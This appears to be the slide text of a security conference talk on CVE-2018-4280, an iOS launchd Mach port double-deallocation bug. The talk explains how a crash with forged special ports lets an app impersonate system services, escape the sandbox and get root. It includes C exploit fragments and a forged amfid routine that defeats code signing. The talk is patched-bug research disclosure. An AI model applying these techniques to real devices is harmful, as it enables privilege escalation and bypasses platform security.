# Crashing to root:
# How to escape the iOS sandbox using abort()

Brandon Azad

bevx

CVE-2018-4280

# Who am I?

- Independent security researcher
  - Focus on macOS/iOS
- Stanford University: B.S. in 2016, M.S. in 2017
- Original Pegasus kernel code execution vulnerability
- Open-source tools: memctl, ida_kernelcache

# About this research project

- Focus: Crash reporting on iOS
- Target: iOS 11.2.6
- Goal:
  - Find a 0-day
  - Escape the sandbox
  - Get root
- Why: How could you possibly attack by crashing?!

# Security

# Codesigning

```
bazad@bazad0 ~ % codesign -dvvv iOS/blanket.app
Identifier=com.brandonazad.blanket
CodeDirectory v=20400 size=1339 flags=0x0(none) hashes=33+5
Hash choices=sha1,sha256
CDHash=bdeb8ff98a8937455f43635592d1eb4b5eb12bf4
Authority=iPhone Developer: Brandon Azad (R354GP4PEP)
Authority=Apple Worldwide Developer Relations Certification
Authority=Apple Root CA
Signed Time=Aug 3, 2018 at 14:35:03
Info.plist entries=26
TeamIdentifier=DEEG7TTSF2
Sealed Resources version=2 rules=13 files=273
Internal requirements count=1 size=184
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# Entitlements

```
bazad@bazad0 ~ % codesign -d --entitlements - iOS/bin/ps
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://
www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>com.apple.system-task-ports</key>
        <true/>
        <key>task_for_pid-allow</key>
        <true/>
</dict>
</plist>
```

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```

# Sandboxing

```
(version 1)
(deny default)
(allow file-read*
       (regex #"^/private/var/containers/Data/System/[^/]+/"))
(allow iokit-open
       (iokit-user-client-class "IOMobileFramebufferUserClient")
       (iokit-user-client-class "IOHIDLibUserClient"))
(allow mach-lookup
       (global-name "com.apple.ReportCrash")
       (global-name "com.apple.ReportCrash.SafetyNet")
       (global-name "com.apple.CARenderServer")
       (global-name "com.apple.DragUI.druid.source"))
```

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```

# Interprocess Communication

# Mach ports

- Reference-counted message queues
  - Arbitrarily many senders
  - Only one receiver
- In userspace, referenced by Mach port names
  - Integers, like file descriptors
- Send right: ability to send messages
- Receive right: ability to receive messages

# Mach messages

- Structured data sent to a Mach port
- Queued in the kernel until the owner listens for a message
- Can contain:
  - Arbitrary data
  - Send/receive rights for Mach ports

# Task and thread ports

- Special types of Mach ports
  - Receive right is owned by the kernel
- Task port can be used to control a task
  - `mach_vm_allocate(task_port, ...)` allocates virtual memory in the task
- Thread port controls an individual thread
  - `thread_set_state(thread_port, ...)` sets register values for the thread

# Mach services and launchd

- Daemons on iOS are Mach services
  - Communicate by sending Mach messages
- Identified by a name
  - `com.apple.CARenderServer`
- Launchd (PID 1) vends all Mach services
  - Client asks launchd to talk to a service
  - Launchd replies with a send right to the service port

# Roadmap

- Focus: Crash reporting on iOS
- Goal:
  - Find a 0-day
  - Escape the sandbox
  - Get root

# Crash handling

# Mach exceptions

- Generalization of BSD signals
- Many exception conditions:
  - `EXC_BAD_ACCESS`: invalid memory access
  - `EXC_CRASH`: abnormal program termination
- Can register a Mach port to be notified on exceptions
  - For a thread, for a task, or for the host
- Kernel sends Mach message to registered exception port with details

# Exception handling service routine

```
kern_return_t catch_mach_exception_raise(
                mach_port_t           exception_port,
                mach_port_t           thread,
                mach_port_t           task,
                exception_type_t      exception,
                mach_exception_data_t code);
```

- Exception message contains crashing thread and task ports
- Called by autogenerated MIG code
  - `KERN_SUCCESS`: exception was handled, kernel resumes process
  - `KERN_FAILURE`: **MIG deallocates ports**, kernel tries next handler

# Example: accessing an invalid address



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

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

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

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

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

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

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

# ReportCrash

- 1 binary, 2 Mach services in separate processes
- `com.apple.ReportCrash`
  - Host-level `EXC_CRASH` exception handler
  - Generates crash logs for dying apps
- `com.apple.ReportCrash.SafetyNet`
  - Task-level `EXC_CRASH` exception handler for ReportCrash
  - Avoids ReportCrash having to handle its own exceptions

# ReportCrash's privileges

```
bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash
275
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# ReportCrash's privileges

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bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash
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bash-3.2# ps -p 275 -o user,pid,ppid,command
USER   PID  PPID COMMAND
root   275     1 /System/Library/CoreServices/ReportCrash
```

# ReportCrash's privileges

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bash-3.2# launchctl kickstart -p system/com.apple.ReportCrash
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bash-3.2# ps -p 275 -o user,pid,ppid,command
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bash-3.2# is_sandboxed 275
ReportCrash[275]: unsandboxed
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USER   PID  PPID COMMAND
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bash-3.2# is_sandboxed 275
ReportCrash[275]: unsandboxed

bash-3.2# jtool --ent ReportCrash | grep -A 1 task_for_pid
        <key>task_for_pid-allow</key>
        <true/>
```

# The vulnerability

# ReportCrash exception handler

```
kern_return_t catch_mach_exception_raise_state_identity(
               mach_port_t      exception_port,
               mach_port_t      thread,
               mach_port_t      task,
               exception_type_t exception,
               /* ... */)
{
    kern_return_t kr;
    /* ... */
    if ( exception != EXC_CRASH )
    {
        /* ... handle exception ... */
    }
    else
    {
        kr = KERN_FAILURE;
    }
    mach_port_deallocate(mach_task_self(), thread);
    mach_port_deallocate(mach_task_self(), task);
    return kr;
}
```

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# ReportCrash service impersonation



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

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

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

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

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

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

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

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

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

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

# How exploitable is it?

```
bash-3.2# lsmp -v -p 275
  name       ipc-object    rights     type
---------    ----------  ----------  ------------
0x00000707  0x0efaf09d  send        (1) launchd
0x00000803  0x0e648d7d  send        CLOCK
0x00000a03  0x0e648645  send        HOST
0x00000b03  0x0f4e9e8d  send        (45) logd
0x00000d07  0x0f524645  send        (82) notifyd
0x00001203  0x0e6486ed  send        HOST-PRIV
0x00001d07  0x0efae8bd  send        (89) lsd
0x00002a03  0x0f4d1215  send        (208) coresymbolicationd
0x00005017  0x0efb1e8d  send        (89) lsd
0x00005303  0x0f4eac05  send        (233) aggregated
```

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```

No useful ports

# End of talk

Thank you!

# Launchd: a hidden exception handler

- Launchd also implements a Mach exception handler!
- With the same bug!
  - Copy/paste?
- Send `EXC_CRASH` exception message to launchd
  - Launchd over-deallocates the thread and task ports

```c
kern_return_t catch_mach_exception_raise(       // (a) The service routine is
            mach_port_t      exception_port,    //     called with values directly
            mach_port_t      thread,            //     from the Mach message
            mach_port_t      task,              //     sent by the client. The
            exception_type_t exception,         //     thread and task ports could
            /* ... */)                         //     be arbitrary send rights.
{
    /* ... */
    if ( current_audit_token.val[5] != 0 )      // (b) If the message was sent by
    {                                           //     a process with a nonzero PID
        return KERN_FAILURE;                    //     (any non-kernel process),
    }                                           //     the message is rejected.
    else
    {
        /* ... */
        deallocate_port(thread);                // (c) The "thread" port sent in
        /* ... */                               //     the message is deallocated.
        deallocate_port(task);                  // (d) The "task" port sent in the
        /* ... */                               //     message is deallocated.
        if ( exception == EXC_CRASH )           // (e) If the exception type is
            return KERN_FAILURE;                //     EXC_CRASH, then KERN_FAILURE
        else                                    //     is returned. MIG will
            return KERN_SUCCESS;                //     deallocate the ports again.
    }
}
```

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        deallocate_port(thread);                // (c) The "thread" port sent in
        /* ... */                               //     the message is deallocated.
        deallocate_port(task);                  // (d) The "task" port sent in the
        /* ... */                               //     message is deallocated.
        if ( exception == EXC_CRASH )           // (e) If the exception type is
            return KERN_FAILURE;                //     EXC_CRASH, then KERN_FAILURE
        else                                    //     is returned. MIG will
            return KERN_SUCCESS;                //     deallocate the ports again.
    }
}
```

```
kern_return_t catch_mach_exception_raise(       // (a) The service routine is
            mach_port_t      exception_port,    //     called with values directly
            mach_port_t      thread,            //     from the Mach message
            mach_port_t      task,              //     sent by the client. The
            exception_type_t exception,         //     thread and task ports could
            /* ... */)                         //     be arbitrary send rights.
{
    /* ... */
    if ( current_audit_token.val[5] != 0 )      // (b) If the message was sent by
    {                                           //     a process with a nonzero PID
        return KERN_FAILURE;                    //     (any non-kernel process),
    }                                           //     the message is rejected.
    else
    {
        /*     */
        deallocate_port(thread);                // (c) The "thread" port sent in
        /* ... */                               //     the message is deallocated.
        deallocate_port(task);                  // (d) The "task" port sent in the
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            return KERN_FAILURE;                //     EXC_CRASH, then KERN_FAILURE
        else                                    //     is returned. MIG will
            return KERN_SUCCESS;                //     deallocate the ports again.
    }
}
```

# Launchd is more promising

- Launchd manages Mach ports for the system
  - Many more targets for port replacement
- Mach service impersonation attack
  - Launchd thinks we own the service
  - Launchd tells other processes that we own the service!

# Triggering the vulnerability

# The kernel sender check

```
if ( current_audit_token.val[5] != 0 )
{
        return KERN_FAILURE;
}
```

- Launchd checks the exception message was sent by the kernel
  - Kernel will only send an exception message when a process crashes
- Crashing directly will not work
  - The thread and task ports must be the service port we want launchd to free
- Can we make the kernel send a malicious exception message?

# Faking our task and thread ports

- `task_set_special_port()` sets a custom send right to use **instead of the true task port** in some situations
  - Including when the kernel generates an exception message
- `thread_set_special_port()` does the same for threads

# Making the kernel send a malicious exception

```
bootstrap_look_up(bootstrap_port, "com.apple.target-service",
                  &target_service_port);

thread_set_exception_ports(mach_thread_self(),
                  EXC_MASK_CRASH,
                  bootstrap_port,
                  EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
                  ARM_THREAD_STATE64);

task_set_special_port(mach_task_self(), TASK_KERNEL_PORT,
                  target_service_port);
thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT,
                  target_service_port);

abort();
```

# Making the kernel send a malicious exception

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thread_set_special_port(mach_task_self(), THREAD_KERNEL_PORT,
                  target_service_port);

abort();
```

# Running after abort()

- `abort()` will crash our process
  - Need to run more code
- `fork()`, `posix_spawn()` disallowed in sandbox
- App Extensions allow us to launch our own binary

# Progress so far

- Found a 0-day in launchd
- Trigger the vulnerability by crashing maliciously
- Exploit primitive to free Mach ports in launchd
- Want to impersonate a system service
- Need to figure out how to elevate privileges

# Impersonating system services

# Launchd service impersonation

1. Use the app extension to free launchd's send right to service A.B.C
2. Generate ~500 Mach ports
3. Repeatedly register dummy services until A.B.C's port name is reused
4. Check by asking launchd for A.B.C's port
5. New processes that want to talk to A.B.C will instead be talking to us

# A first attempt: Getting host-priv

# Choosing a service to impersonate

- Goal: execute code in an unsandboxed root process
- mach_portal strategy:
  - Find a service to which an unsandboxed root client sends its task port
  - Impersonate that service
  - Start the client, receive its task port
- iOS 11: no unsandboxed root processes send their task port to a Mach service

# Abusing exceptions

- Exception messages contain task ports
- ReportCrash is unsandboxed and root
- Why not impersonate SafetyNet and then crash ReportCrash?

# Impersonate SafetyNet, crash ReportCrash

- ReportCrash sets SafetyNet as its exception handler on launch
- Impersonate SafetyNet first
  - ReportCrash will set us as its exception handler
- Force ReportCrash to generate an exception
  - Send a malformed message
  - Kernel will send us ReportCrash's task port in an exception message!

# Problem: ReportCrash is crashing

- ReportCrash sets SafetyNet up as the exception handler for `EXC_CRASH`
  - Not recoverable: ReportCrash is already in process exit!
- No way to use task port to execute code

# Workaround: extract host-priv

```
bash-3.2# lsmp -v -p 275
  name       ipc-object    rights     type
---------    ----------  ----------  ------------
0x00000707   0x0efaf09d  send        (1) launchd
0x00000803   0x0e648d7d  send        CLOCK
0x00000a03   0x0e648645  send        HOST
0x00000b03   0x0f4e9e8d  send        (45) logd
0x00000d07   0x0f524645  send        (82) notifyd
0x00001203   0x0e6486ed  send        HOST-PRIV
0x00001d07   0x0efae8bd  send        (89) lsd
0x00002a03   0x0f4d1215  send        (208) coresymbolicationd
0x00005017   0x0efb1e8d  send        (89) lsd
0x00005303   0x0f4eac05  send        (233) aggregated
```

# Workaround: extract host-priv

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  name       ipc-object    rights     type
---------    ----------  ----------  ------------
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0x00005017  0x0efb1e8d  send        (89) lsd
0x00005303  0x0f4eac05  send        (233) aggregated
```

```
host_set_exception_ports(host_priv, ...)
```

# New strategy: set a host exception handler

1. Impersonate SafetyNet, crash ReportCrash

2. Receive the exception message with ReportCrash's task port, extract the host-priv port

3. Use `host_set_exception_ports()` to register a new host-level exception handler for `EXC_BAD_ACCESS`

4. Trigger a bad memory access in ReportCrash, receive another exception message with ReportCrash's task port

5. Fix ReportCrash, use the task port to execute arbitrary code

# Problem: sandbox restrictions

- Extracting host-priv from ReportCrash works!
- Calling `host_set_exception_ports()` fails
  - Forbidden in the app sandbox
- We need to escape the sandbox

# Progress so far

- Obtained the host-priv port using service impersonation
- Want to call `host_set_exception_ports()`
- Need to escape the sandbox first

# Escaping the sandbox

# Finding the right service

- mach_portal strategy:
  - Impersonate a service to which an unsandboxed client sends its task port
  - Do not need root, just unsandboxed
- Brute-force search: druid (Drag UI) daemon
  - Sends its task port to `com.apple.CARenderServer`
  - Druid is unsandboxed
- Impersonate CARenderServer, launch druid => unsandboxed task port

# Problem: new task port restrictions

```
/*
 *      Routine:        convert_port_to_task
 *      Purpose:
 *              Convert from a port to a task.
 *              Doesn't consume the port ref; produces a task ref,
 *              which may be null.
 *      Conditions:
 *              Nothing locked.
 */
task_t
convert_port_to_task(
        ipc_port_t              port)
{
        return convert_port_to_task_with_exec_token(port, NULL);
}
```

# Problem: new task port restrictions

```
/*
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 *      Purpose:
 *              Convert from a port to a task.
 *              Doesn't consume the port ref; p
 *              which may be null.
 *      Conditions:
 *              Nothing locked.
 */
task_t
convert_port_to_task(
        ipc_port_t              port)
{
        return convert_port_to_task_with_exec_t
}
```

```
task_t
convert_port_to_task_with_exec_token(
        ipc_port_t              port,
        uint32_t                *exec_token)
{
        task_t          task = TASK_NULL;
        if (IP_VALID(port)) {
                ip_lock(port);

                if (ip_active(port) && ip_kotype(port) == IKOT_TASK) {
                        task_t ct = current_task();
                        task = (task_t)port->ip_kobject;
                        assert(task != TASK_NULL);
                        if (task_conversion_eval(ct, task)) {
                                ip_unlock(port);
                                return TASK_NULL;
                        }
                        if (exec_token) {
                                *exec_token = task->exec_token;
                        }
                        task_reference_internal(task);
                }
                ip_unlock(port);
        }
        return (task);
}
```

# Problem: new task port restrictions

# Problem: new task port restrictions



# Loophole: task_threads()

```
/*
 *      Returns the set of threads belonging to the target task.
 */
routine task_threads(
                target_task     : task_inspect_t;
        out     act_list        : thread_act_array_t);
```

- Takes an inspect right to a task
  - Task inspect rights are not subject to the mitigation
- Returns control rights for the task's threads
  - No restriction on controlling the threads of a platform binary

# The sandbox escape

1. Use the vulnerability to impersonate CARenderServer
2. Trigger druid to start
3. Druid will send us its task port (intended for CARenderServer)
4. Use druid's task port to execute arbitrary code outside the sandbox

# The complete exploit

# Putting it all together

1. Impersonate SafetyNet, crash ReportCrash, extract the host-priv port
2. Impersonate CARenderServer, force druid to start, get druid's task port
3. Use druid and host-priv to register ourselves as the `EXC_BAD_ACCESS` handler
4. Trigger a bad memory access in ReportCrash, receive ReportCrash's task port
5. Use ReportCrash's task port to execute arbitrary code

- We are now unsandboxed, root, and `task_for_pid` :)

# Exploit walkthrough


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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
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
SafetyNet
CARender Server
launchd
druid
host priv
blanket


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CARender Server
launchd
druid
host priv
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
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CARender Server
launchd
druid
host priv
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
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druid
host priv
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
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launchd
host priv
B
blanket


SafetyNet
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launchd
druid
host priv
blanket


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CARender Server
launchd
druid
host priv
blanket


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CARender Server
launchd
druid
druid task
host priv
blanket


SafetyNet
CARender Server
launchd
druid
host priv
blanket
druid task


SafetyNet
CARender Server
launchd
druid
host priv
blanket


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CARender Server
launchd
druid
host priv
blanket


SafetyNet
CARender Server
launchd
druid
host priv
host exception port
blanket


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CARender Server
launchd
host exception port
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
host exception port
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
host exception port
B
blanket


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CARender Server
Report Crash
launchd
host exception port
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
host exception port
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
host exception port
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
host exception port
B
blanket
RC task


SafetyNet
CARender Server
Report Crash
launchd
host exception port
blanket
RC task


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CARender Server
Report Crash
launchd
host exception port
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
B
blanket


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CARender Server
Report Crash
launchd
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
B
blanket


SafetyNet
CARender Server
Report Crash
launchd
blanket
payload


SafetyNet
CARender Server
Report Crash
launchd
blanket
payload

And that is how you root an iPhone by crashing

# Demo

# Takeaways

# What we've achieved

- ReportCrash has `task_for_pid-allow`
  - We can control any process on the phone
  - Highest level of privilege without a kernel exploit
- Full userspace control without having to attack the kernel!
  - No need to defeat kernel exploit mitigations
    - Pointer authentication on iPhone XS

# Unconventional attack surfaces

- Traditional attack surfaces have been hardened
  - Unconventional attack surfaces more attractive
  - Many areas of the OS have not received adequate security auditing

# Incomplete task port mitigations

- `task_threads()` renders Apple's platform binary task port mitigation ineffective
- Always worth checking for loopholes

# task_for_pid workaround

- Alternative to `processor_set_tasks()`
- `host_set_exception_ports()` allows us to get the task port of a more privileged process
- Unsandboxed execution, an Apple signature, host-priv, and the ability to crash a `task_for_pid-allow` process are equivalent to `task_for_pid-allow`

# One more thing...

- Since iOS 10, amfid bypassed by patching `MISValidateSignatureAndCopyInfo()`
- New approach: steal the amfid kernel port, implement `verify_code_directory()`, then force amfid to send the reply
  - Kernel still thinks amfid performed the validation
  - Avoids the data patch
  - Gives access to some interesting flags

```
kern_return_t verify_code_directory(
        mach_port_t    amfid_port,         amfid_path_t   path,
        uint64_t       file_offset,        int32_t        a4,
        int32_t        a5,                 int32_t        a6,
        int32_t *      entitlements_valid, int32_t *      signature_valid,
        int32_t *      unrestrict,         int32_t *      signer_type,
        int32_t *      is_apple,           int32_t *      is_developer_code,
        amfid_a13_t    a13,                amfid_cdhash_t cdhash,
        audit_token_t  audit)
{
    // Compute the cdhash of the binary for the kernel.
    if (!compute_cdhash_of_file(path, file_offset, cdhash)) {
        return KERN_FAILURE;
    }
    // Grant all the permissions.
    *entitlements_valid = 1;    // CS_ENTITLEMENTS_VALIDATED | CS_KILL
    *signature_valid    = 1;    // Claim that signature is valid.
    *unrestrict         = 1;    // ~CS_RESTRICT
    *signer_type        = 0;    // Set the correct signer type.
    *is_apple           = 1;    // CS_PLATFORM_BINARY
    *is_developer_code  = 0;    // ~CS_DEV_CODE
    return KERN_SUCCESS;
}
```

Thank you!

https://github.com/bazad/blanket

# Credits

# History (1)

- https://gist.github.com/taviso/0f02c255c13c5c113406
  Tavis Ormandy's exploit for Apport's vulnerability CVE-2015-1318 is one of only two public exploits I could find that use crashing in a meaningful way.

- https://gist.github.com/taviso/fe359006836d6cd1091e
  Tavis Ormandy's exploit for CVE-2015-1862 targeting Fedora's Abrt utility is the other public exploit that uses crashing.

- http://newosxbook.com/articles/PST2.html
  This 2015 article by Jonathan Levin explains how to use processor_set_tasks() to work around Apple's restrictions on task_for_pid(). processor_set_tasks() was used in Ian Beer's triple_fetch before Apple closed the loophole.

# History (2)

- https://bugs.chromium.org/p/project-zero/issues/detail?id=926
  Ian Beer's report on CVE-2016-7612 is the first public reference I'm aware of to the security implications of MIG lifetime semantics.

- https://bugs.chromium.org/p/project-zero/issues/detail?id=954
  Ian Beer's CVE-2016-7633 shows that MIG lifetime issues also affect userspace processes.

- https://bugs.chromium.org/p/project-zero/issues/detail?id=959
  Ian Beer's report on CVE-2016-7637 is the first public demonstration of the Mach port replacement exploit technique. This is also the first demonstration I could find of attacking launchd to perform Mach service impersonation, which was a crucial step in my exploit.

# History (3)

- https://bugs.chromium.org/p/project-zero/issues/detail?id=976
  Ian Beer's report on CVE-2016-7661 exploits a Mach port replacement vulnerability in the powerd daemon that is somewhat similar to the vulnerability in this exploit.

- https://bugs.chromium.org/p/project-zero/issues/detail?id=1247
  Ian Beer's triple_fetch exploit, which leveraged CVE-2017-7047, demonstrated many techniques, in particular how to use a task port to call functions in a process, that were instrumental in my exploit.

- https://bugs.chromium.org/p/project-zero/issues/detail?id=1417
  Ian Beer's async_wake project exploited CVE-2017-13861, a Mach port double deallocation in the kernel's IOSurfaceRootUserClient class, which is also similar to this vulnerability.

# History (4)

- https://bugs.chromium.org/p/project-zero/issues/detail?id=1529
  Ian Beer reported the Mach port replacement in ReportCrash on February 7, 2018, while my research was ongoing. Apple fixed the issue in iOS 11.3.1 and assigned it CVE-2018-4206.

# Timeline

- I discovered the original Mach port replacement vulnerability in ReportCrash sometime between December 2017 and January 2018.

- I discovered the launchd variant in January.

- Ian Beer reported the ReportCrash vulnerability to Apple on February 7.

- I reported both vulnerabilities to Apple on April 13.

- Apple fixed the ReportCrash vulnerability in iOS 11.3.1, released April 24, and assigned it CVE-2018-4206.

- Apple fixed the launchd vulnerability in iOS 11.4.1, released July 9, and assigned it CVE-2018-4280.

# Resources (1)

- https://opensource.apple.com/source/xnu/xnu-4570.1.46/
  The source code for the XNU kernel. This is the ultimate reference for how exception handling (and other features) really work.

- https://developer.apple.com/library/content/documentation/Xcode/Conceptual/iPhoneOSABIReference/Articles/ARM64FunctionCallingConventions.html
  The ARM64 function calling convention, which I used to determine how to use a thread port to call arbitrary functions with a large number of arguments.

- https://ianmcdowell.net/blog/nsextension/
  A great online blog post by Ian McDowell about how to use the NSExtension API to launch and communicate with an app extension.

# Resources (2)

- https://developer.apple.com/library/content/documentation/General/Conceptual/ExtensibilityPG/
  Apple's documentation on programming app extensions.

- https://ipsw.me
  A convenient way to get links to Apple's IPSW files. This is useful for obtaining the binaries on the root filesystem for reverse engineering.

- http://newosxbook.com/tools/iOSBinaries.html
  Useful binaries compiled for iOS.

# Presentation Resources

- https://be5invis.github.io/Iosevka/
- https://ethanschoonover.com/solarized/

# Thank you

Thanks to Ian Beer for his amazing iOS security research, especially for discovering novel vulnerability categories and exploit techniques on which my research is based.

Thanks to Jonathan Levin for his iOS internals research, which was invaluable in developing my exploit.

Thanks to Jonathan Levin for updating his iOS binaries to include the com.apple.private.security.container-required entitlement.

Thanks to Kate Stowell for helping me organize and refine this presentation.

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